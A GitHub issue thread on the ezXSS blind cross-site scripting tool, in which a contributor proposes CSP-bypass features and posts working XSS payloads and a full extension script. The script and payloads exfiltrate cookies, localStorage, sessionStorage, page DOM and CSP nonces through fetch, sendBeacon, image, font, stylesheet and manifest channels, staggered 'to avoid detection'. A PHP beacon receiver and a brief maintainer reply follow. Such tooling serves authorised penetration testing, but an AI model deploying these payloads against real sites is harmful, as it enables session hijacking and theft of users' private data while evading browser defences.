ezXSS icon indicating copy to clipboard operation
ezXSS copied to clipboard

A Feature Request or Two

Open geeknik opened this issue 6 months ago • 2 comments

Universal Sink Endpoints with customizable URL(?):

/beacon/img              # 1x1 transparent PNG (img-src bypass)
/beacon/font             # Empty WOFF2/TTF font (font-src bypass)
/beacon/css              # Empty CSS stylesheet (style-src bypass)
/beacon/manifest         # Empty PWA manifest (manifest-src bypass)
/beacon/script           # Empty JS file (script-src bypass)
/beacon/connect          # Standard fetch/XHR endpoint (connect-src)
/beacon/form             # Form action target (form-action)
/beacon/media            # Empty MP4/audio file (media-src)
/beacon/object           # Empty plugin data (object-src)
/beacon/worker           # Empty worker script (worker-src)
/beacon/frame            # Minimal HTML frame (frame-src)
/beacon/jsonp            # JSONP callback endpoint for CSP bypass detection
/beacon/websocket        # WebSocket upgrade endpoint
/beacon/eventsource      # Server-sent events endpoint
/beacon/prefetch         # DNS prefetch detection
/beacon/preload          # Resource preload detection
/beacon/ping             # <a ping> attribute target
/beacon/beacon           # navigator.sendBeacon target
/beacon/report           # CSP violation report collector

Capture and analyze all Sec-Fetch-* headers to understand exactly which CSP directive permitted the request:

{
  "fetch_metadata": {
    "sec_fetch_site": "cross-site|same-origin|same-site|none",
    "sec_fetch_mode": "cors|navigate|no-cors|same-origin|websocket",
    "sec_fetch_dest": "document|script|style|image|font|media|manifest|...",
    "sec_fetch_user": "?1|null"
  }
}

Automatic CSP directive inference based on successful requests:

{
  "inferred_csp": {
    "allowed_directives": {
      "img_src": true,
      "connect_src": false,
      "script_src": "nonce_detected",
      "style_src": true,
      "font_src": true,
      "manifest_src": true
    },
    "bypass_vectors": [
      "img-src allows arbitrary domains",
      "font-src permits data: URIs",
      "manifest-src unrestricted"
    ],
    "strict_dynamic": false,
    "trusted_types": false
  }
}

Expand beyond traditional cookie collection to capture 2025-relevant data:

{
  "context_data": {
    "csp_nonce": "extracted_nonce_if_available",
    "trusted_types_policy": "detected|enforced|none",
    "referrer_policy": "strict-origin-when-cross-origin",
    "same_site_context": "Lax|Strict|None",
    "http_only_cookies": "blocked_access_count",
    "framework_detection": {
      "react": "18.2.0",
      "vue": null,
      "angular": null
    }
  }
}

Generate payloads based on detected CSP configuration rather than blind spraying:

// CSP-aware payload router
function generatePayload(cspConfig, targetEndpoint) {
  if (cspConfig.strict_dynamic && cspConfig.nonce) {
    return generateNonceBypass(cspConfig.nonce);
  } else if (cspConfig.trusted_types) {
    return generateTrustedTypesPayload();
  } else if (!cspConfig.connect_src) {
    return generateResourceBeacon(targetEndpoint + '/beacon/img');
  }
  return generateStandardPayload(targetEndpoint + '/beacon/connect');
}

Modern Event Handler Exploitation

// beforematch event for hidden-until-found exploitation
const beforeMatchPayload = `
<div hidden="until-found" onbeforematch="
  new Image().src='${endpoint}/beacon/img?trigger=beforematch&data=' + 
  btoa(JSON.stringify({url:location.href,time:Date.now()}))
">Hidden content</div>
`;

// Popover API exploitation
const popoverPayload = `
<div popover onbeforetoggle="
  navigator.sendBeacon('${endpoint}/beacon/connect', 
    JSON.stringify({trigger:'popover',context:document.title}))
">Target</div>
`;

Deploy payloads that attempt multiple exfiltration channels simultaneously:

<!-- Multi-vector payload for comprehensive CSP probing -->
<script>
// Primary: connect-src test
fetch('/beacon/connect?test=primary').catch(()=>{});

// Fallback 1: img-src beacon
new Image().src='/beacon/img?test=fallback1';

// Fallback 2: font-src data URI
document.head.appendChild(Object.assign(document.createElement('link'),{
  rel:'preload',as:'font',href:'/beacon/font?test=fallback2'
}));

// Fallback 3: style-src import
document.head.appendChild(Object.assign(document.createElement('style'),{
  textContent:'@import "/beacon/css?test=fallback3";'
}));
</script>

Enhanced multi-context payloads:

const universalPolyglot = `
'"><svg onload="
  // Multi-destination beacon
  ['/beacon/img','/beacon/font','/beacon/css'].forEach(e=>
    new Image().src=e+'?ctx=svg&d='+btoa(location.href)
  )
" style="display:none">
<!--</script><script>
  // Script context backup
  fetch('/beacon/connect?ctx=script').catch(()=>
    document.body.appendChild(Object.assign(document.createElement('img'),
      {src:'/beacon/img?ctx=script&d='+btoa(document.cookie)}
    ))
  );
//-->
`;

CSP Directive Analysis with Real-time visualization of which security policies are blocking vs. allowing requests:

Policy Coverage Report:
├─ connect-src: BLOCKED (0/15 attempts successful)
├─ img-src: ALLOWED (15/15 attempts successful)
├─ font-src: PARTIAL (8/15 attempts successful)
├─ style-src: ALLOWED (12/15 attempts successful)
└─ script-src: NONCE_REQUIRED (0/15 inline attempts)

Recommended Payload Strategy:
→ Use img-src beacons for primary exfiltration
→ Font-src shows potential for data: URI exploitation
→ Investigate nonce extraction for script-src bypass

Automated Bypass Suggestion Engine Based on successful request patterns, suggest optimal attack vectors:

{
  "bypass_recommendations": {
    "primary_vector": "img-src unrestricted",
    "payload_type": "resource_beacon",
    "confidence": 95,
    "advanced_techniques": [
      "Cache-based nonce extraction possible",
      "JSONP endpoint detected on same-origin",
      "File upload functionality may allow JS hosting"
    ]
  }
}

Enhanced Notification System

{
  "notification_template": {
    "title": "Blind XSS Triggered - CSP Bypass Detected",
    "details": {
      "bypass_method": "img-src unrestricted",
      "csp_confidence": "high",
      "fetch_metadata": "cross-site navigate",
      "recommended_exploitation": "Resource beacon chain"
    }
  }
}

geeknik avatar Sep 04 '25 15:09 geeknik

It's possible some of these enhancements could be put into an extension. For example.

csp-aware-universal-sink.js

// <ezXSS extension>
// @name             CSP-Aware Universal Sink
// @description      Multi-destination payload with CSP bypass detection and fetch metadata intelligence
// @author           geeknik
// @version          1.0
// </ezXSS extension>

// Universal Sink Configuration
const SINK_CONFIG = {
    endpoints: {
        img: '/beacon/img',
        font: '/beacon/font', 
        css: '/beacon/css',
        manifest: '/beacon/manifest',
        script: '/beacon/script',
        connect: '/beacon/connect',
        form: '/beacon/form',
        media: '/beacon/media',
        worker: '/beacon/worker',
        frame: '/beacon/frame',
        jsonp: '/beacon/jsonp',
        websocket: '/beacon/websocket',
        ping: '/beacon/ping',
        beacon: '/beacon/beacon'
    },
    
    // Modern security detection
    security: {
        detectCSP: true,
        detectTrustedTypes: true,
        detectFetchMetadata: true,
        extractNonces: true,
        analyzeReferrerPolicy: true
    }
};

// CSP and Security Policy Detection
function ez_detectSecurityContext() {
    const context = {
        csp: {
            detected: false,
            directives: {},
            nonces: [],
            strict_dynamic: false,
            unsafe_inline: false,
            unsafe_eval: false
        },
        trusted_types: {
            enabled: false,
            policies: [],
            enforcement: 'none'
        },
        referrer_policy: 'unknown',
        same_site_context: 'unknown',
        framework: {
            react: false,
            vue: false,
            angular: false,
            detected_version: null
        }
    };
    
    // CSP Detection via meta tags
    const cspMeta = document.querySelector('meta[http-equiv="Content-Security-Policy"]');
    if (cspMeta) {
        context.csp.detected = true;
        const policy = cspMeta.getAttribute('content');
        
        // Parse common directives
        if (policy.includes('script-src')) {
            context.csp.directives['script-src'] = true;
            context.csp.strict_dynamic = policy.includes("'strict-dynamic'");
            context.csp.unsafe_inline = policy.includes("'unsafe-inline'");
            context.csp.unsafe_eval = policy.includes("'unsafe-eval'");
            
            // Extract nonces
            const nonceMatch = policy.match(/'nonce-([^']+)'/g);
            if (nonceMatch) {
                context.csp.nonces = nonceMatch.map(n => n.replace(/'nonce-/, '').replace(/'/, ''));
            }
        }
        
        ['img-src', 'connect-src', 'font-src', 'style-src', 'manifest-src'].forEach(directive => {
            if (policy.includes(directive)) {
                context.csp.directives[directive] = true;
            }
        });
    }
    
    // Trusted Types Detection
    if (window.trustedTypes) {
        context.trusted_types.enabled = true;
        context.trusted_types.policies = Array.from(window.trustedTypes.getPolicyNames || []);
        
        // Check if TT is enforced
        try {
            const testDiv = document.createElement('div');
            testDiv.innerHTML = '<script></script>';
            context.trusted_types.enforcement = 'report-only';
        } catch (e) {
            if (e.name === 'TypeError') {
                context.trusted_types.enforcement = 'enforce';
            }
        }
    }
    
    // Framework Detection
    if (window.React) {
        context.framework.react = true;
        context.framework.detected_version = window.React.version || 'unknown';
    }
    if (window.Vue) {
        context.framework.vue = true;
        context.framework.detected_version = window.Vue.version || 'unknown';
    }
    if (window.ng) {
        context.framework.angular = true;
    }
    
    return context;
}

// Multi-Destination Beacon System
function ez_universalSink(data, securityContext) {
    const baseURL = ez_rD.payload.replace(/\/[^\/]*$/, '');
    const beaconData = {
        ...data,
        security_context: securityContext,
        timestamp: Date.now(),
        user_agent: navigator.userAgent,
        viewport: `${window.innerWidth}x${window.innerHeight}`,
        screen: `${screen.width}x${screen.height}`,
        timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
        language: navigator.language,
        platform: navigator.platform,
        cookie_enabled: navigator.cookieEnabled,
        do_not_track: navigator.doNotTrack,
        connection: navigator.connection ? {
            effective_type: navigator.connection.effectiveType,
            downlink: navigator.connection.downlink,
            rtt: navigator.connection.rtt
        } : null
    };
    
    const encodedData = encodeURIComponent(btoa(JSON.stringify(beaconData)));
    
    // Attempt multiple exfiltration channels based on CSP analysis
    const attempts = [];
    
    // Primary: connect-src (fetch/XHR)
    if (!securityContext.csp.directives['connect-src'] || 
        securityContext.csp.directives['connect-src'] === '*') {
        attempts.push(() => {
            fetch(`${baseURL}${SINK_CONFIG.endpoints.connect}?d=${encodedData}&m=fetch`)
                .catch(() => {
                    // Fallback to XHR
                    const xhr = new XMLHttpRequest();
                    xhr.open('POST', `${baseURL}${SINK_CONFIG.endpoints.connect}`, true);
                    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                    xhr.send(`d=${encodedData}&m=xhr`);
                });
        });
        
        // sendBeacon attempt
        if (navigator.sendBeacon) {
            attempts.push(() => {
                navigator.sendBeacon(`${baseURL}${SINK_CONFIG.endpoints.beacon}`, 
                    `d=${encodedData}&m=beacon`);
            });
        }
    }
    
    // Fallback 1: img-src (most permissive)
    attempts.push(() => {
        const img = new Image();
        img.onerror = img.onload = () => img = null;
        img.src = `${baseURL}${SINK_CONFIG.endpoints.img}?d=${encodedData}&m=img`;
    });
    
    // Fallback 2: font-src
    attempts.push(() => {
        const link = document.createElement('link');
        link.rel = 'preload';
        link.as = 'font';
        link.href = `${baseURL}${SINK_CONFIG.endpoints.font}?d=${encodedData}&m=font`;
        document.head.appendChild(link);
        setTimeout(() => document.head.removeChild(link), 1000);
    });
    
    // Fallback 3: style-src
    attempts.push(() => {
        const style = document.createElement('style');
        style.textContent = `@import url("${baseURL}${SINK_CONFIG.endpoints.css}?d=${encodedData}&m=css");`;
        document.head.appendChild(style);
        setTimeout(() => document.head.removeChild(style), 1000);
    });
    
    // Fallback 4: manifest-src
    attempts.push(() => {
        const link = document.createElement('link');
        link.rel = 'manifest';
        link.href = `${baseURL}${SINK_CONFIG.endpoints.manifest}?d=${encodedData}&m=manifest`;
        document.head.appendChild(link);
        setTimeout(() => document.head.removeChild(link), 1000);
    });
    
    // Execute attempts with staggered timing to avoid detection
    attempts.forEach((attempt, index) => {
        setTimeout(attempt, index * 50);
    });
}

// Modern Event Handler Exploitation
function ez_modernEventHandlers(securityContext) {
    const events = [];
    
    // beforematch event for hidden-until-found content
    if ('onbeforematch' in document.createElement('div')) {
        const hiddenDiv = document.createElement('div');
        hiddenDiv.hidden = 'until-found';
        hiddenDiv.onbeforematch = () => {
            ez_a('trigger_type', 'beforematch');
            ez_a('trigger_context', 'hidden-until-found');
        };
        hiddenDiv.textContent = 'Hidden XSS trigger content';
        document.body.appendChild(hiddenDiv);
        events.push('beforematch');
    }
    
    // Popover API exploitation
    if ('popover' in document.createElement('div')) {
        const popoverDiv = document.createElement('div');
        popoverDiv.popover = 'auto';
        popoverDiv.onbeforetoggle = popoverDiv.ontoggle = () => {
            ez_a('trigger_type', 'popover');
            ez_a('trigger_context', 'popover-api');
        };
        document.body.appendChild(popoverDiv);
        events.push('popover');
    }
    
    // IntersectionObserver for lazy-loaded content
    if (window.IntersectionObserver) {
        const observer = new IntersectionObserver((entries) => {
            entries.forEach(entry => {
                if (entry.isIntersecting) {
                    ez_a('trigger_type', 'intersection');
                    ez_a('trigger_context', 'viewport-intersection');
                }
            });
        });
        
        const target = document.createElement('div');
        target.style.cssText = 'position:absolute;top:0;left:0;width:1px;height:1px;opacity:0;';
        document.body.appendChild(target);
        observer.observe(target);
        events.push('intersection-observer');
    }
    
    return events;
}

// CSP Nonce Extraction Attempt
function ez_extractNonces() {
    const nonces = [];
    
    // Extract from script tags
    document.querySelectorAll('script[nonce]').forEach(script => {
        const nonce = script.getAttribute('nonce');
        if (nonce && nonce.length > 0) {
            nonces.push({type: 'script', nonce: nonce});
        }
    });
    
    // Extract from style tags
    document.querySelectorAll('style[nonce]').forEach(style => {
        const nonce = style.getAttribute('nonce');
        if (nonce && nonce.length > 0) {
            nonces.push({type: 'style', nonce: nonce});
        }
    });
    
    return nonces;
}

// Advanced Context Analysis
function ez_analyzeContext() {
    const analysis = {
        dom_properties: {
            total_scripts: document.scripts.length,
            total_styles: document.styleSheets.length,
            total_images: document.images.length,
            total_forms: document.forms.length,
            total_links: document.links.length
        },
        security_headers: {},
        cookies_analysis: {
            total_cookies: document.cookie.split(';').length,
            httponly_blocked: document.cookie === '',
            samesite_detected: false
        },
        modern_apis: {
            fetch_available: typeof fetch !== 'undefined',
            websocket_available: typeof WebSocket !== 'undefined',
            indexeddb_available: 'indexedDB' in window,
            service_worker_available: 'serviceWorker' in navigator,
            push_api_available: 'PushManager' in window,
            notification_api_available: 'Notification' in window,
            geolocation_available: 'geolocation' in navigator,
            camera_available: 'mediaDevices' in navigator
        }
    };
    
    // Analyze cookies for SameSite attributes (indirect detection)
    if (document.cookie) {
        // This is a heuristic - we can't directly read SameSite from JS
        analysis.cookies_analysis.samesite_detected = document.cookie.includes('SameSite');
    }
    
    return analysis;
}

// Override the main data collection function
function ez_hL() {
    try {
        // Detect security context first
        const securityContext = ez_detectSecurityContext();
        
        // Extract nonces if available
        const extractedNonces = ez_extractNonces();
        
        // Set up modern event handlers
        const modernEvents = ez_modernEventHandlers(securityContext);
        
        // Perform context analysis
        const contextAnalysis = ez_analyzeContext();
        
        // Add all security intelligence to the report
        ez_a('security_context', securityContext);
        ez_a('extracted_nonces', extractedNonces);
        ez_a('modern_events', modernEvents);
        ez_a('context_analysis', contextAnalysis);
        ez_a('extension_version', '1.0');
        ez_a('extension_name', 'CSP-Aware Universal Sink');
        
        // Collect standard data
        ez_rD.uri = ez_n(window.location.href);
        ez_rD.cookies = ez_n(document.cookie);
        ez_rD.referer = ez_n(document.referrer);
        ez_rD['user-agent'] = ez_n(navigator.userAgent);
        ez_rD.origin = ez_n(window.location.origin);
        ez_rD.localstorage = ez_n(JSON.stringify(localStorage));
        ez_rD.sessionstorage = ez_n(JSON.stringify(sessionStorage));
        ez_rD.dom = ez_n(document.documentElement.outerHTML);
        ez_rD.payload = ez_n(window.location.href);
        
        // Call other necessary functions
        ez_s();
        ez_nW();
        
        // Use universal sink instead of standard callback
        ez_universalSink(ez_rD, securityContext);
        
        // Still call standard functions for compatibility
        ez_cb(ez_rD, ez_dr2);
        ez_cp();
        ez_p();
        
    } catch (e) {
        // Fallback to standard behavior on error
        ez_rD.dom = "Extension error: " + e.message;
        ez_cb(ez_rD, ez_dr2);
        ez_cp();
        ez_p();
    }
}

// Additional utility function for CSP testing
function ez_testCSPBypass() {
    const tests = [];
    
    // Test inline script execution
    try {
        eval('1+1');
        tests.push({test: 'eval', result: 'allowed'});
    } catch (e) {
        tests.push({test: 'eval', result: 'blocked', error: e.message});
    }
    
    // Test inline style
    try {
        const div = document.createElement('div');
        div.style.cssText = 'color: red;';
        tests.push({test: 'inline-style', result: 'allowed'});
    } catch (e) {
        tests.push({test: 'inline-style', result: 'blocked', error: e.message});
    }
    
    // Test data: URI
    try {
        const img = new Image();
        img.src = 'data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7';
        tests.push({test: 'data-uri', result: 'allowed'});
    } catch (e) {
        tests.push({test: 'data-uri', result: 'blocked', error: e.message});
    }
    
    ez_a('csp_bypass_tests', tests);
}

// Run CSP bypass tests
setTimeout(ez_testCSPBypass, 100);

// Override persistence initialization to include security context
if (typeof ez_persist === 'function') {
    const originalPersist = ez_persist;
    ez_persist = function() {
        const securityContext = ez_detectSecurityContext();
        ez_a('persistence_security_context', securityContext);
        return originalPersist.apply(this, arguments);
    };
}

beacon-handler.php -- Incomplete, needs DB handler code added.

<?php
// Universal Sink Beacon Handler for ezXSS
// Add this to your ezXSS installation

class BeaconHandler {
    
    private $allowedTypes = [
        'img', 'font', 'css', 'manifest', 'script', 
        'connect', 'form', 'media', 'worker', 'frame',
        'jsonp', 'websocket', 'ping', 'beacon'
    ];
    
    public function handleBeacon($type) {
        if (!in_array($type, $this->allowedTypes)) {
            http_response_code(404);
            return;
        }
        
        // Log fetch metadata headers
        $fetchMetadata = [
            'sec_fetch_site' => $_SERVER['HTTP_SEC_FETCH_SITE'] ?? null,
            'sec_fetch_mode' => $_SERVER['HTTP_SEC_FETCH_MODE'] ?? null,
            'sec_fetch_dest' => $_SERVER['HTTP_SEC_FETCH_DEST'] ?? null,
            'sec_fetch_user' => $_SERVER['HTTP_SEC_FETCH_USER'] ?? null,
        ];
        
        // Extract payload data
        $data = $_GET['d'] ?? $_POST['d'] ?? null;
        $method = $_GET['m'] ?? $_POST['m'] ?? $type;
        
        if ($data) {
            $decodedData = json_decode(base64_decode(urldecode($data)), true);
            if ($decodedData) {
                // Add fetch metadata to the payload data
                $decodedData['fetch_metadata'] = $fetchMetadata;
                $decodedData['beacon_type'] = $type;
                $decodedData['request_method'] = $_SERVER['REQUEST_METHOD'];
                $decodedData['request_time'] = time();
                
                // Store in ezXSS database (adapt to your DB structure)
                $this->storePayloadData($decodedData);
            }
        }
        
        // Return appropriate response based on type
        $this->sendResponse($type);
    }
    
    private function sendResponse($type) {
        switch ($type) {
            case 'img':
                header('Content-Type: image/png');
                // 1x1 transparent PNG
                echo base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==');
                break;
                
            case 'font':
                header('Content-Type: font/woff2');
                header('Access-Control-Allow-Origin: *');
                // Empty WOFF2 font
                echo '';
                break;
                
            case 'css':
                header('Content-Type: text/css');
                echo '/* Empty CSS */';
                break;
                
            case 'manifest':
                header('Content-Type: application/manifest+json');
                echo '{"name":"","short_name":"","icons":[]}';
                break;
                
            case 'script':
                header('Content-Type: application/javascript');
                echo '// Empty script';
                break;
                
            case 'connect':
            case 'beacon':
            case 'ping':
                header('Content-Type: application/json');
                echo '{"status":"ok"}';
                break;
                
            default:
                header('Content-Type: text/plain');
                echo 'OK';
        }
    }
    
    private function storePayloadData($data) {
        // Integrate with ezXSS database storage
        // This would typically insert into the reports table
        // with additional fields for security context analysis
    }
}

// Route handler (add to your ezXSS routing)
if (preg_match('/\/beacon\/([a-z]+)/', $_SERVER['REQUEST_URI'], $matches)) {
    $handler = new BeaconHandler();
    $handler->handleBeacon($matches[1]);
    exit;
}
?>

geeknik avatar Sep 04 '25 17:09 geeknik

Hey @geeknik!

Thanks for this great suggestion. I just returned from vacation so I still need some time to look more into it, but it looks like a great addition.

I've been thinking about ezXSS and CSP headers what to do with it but haven't fully figured it out yet. I think this is a great start. Will keep you updated.

ssl avatar Sep 26 '25 10:09 ssl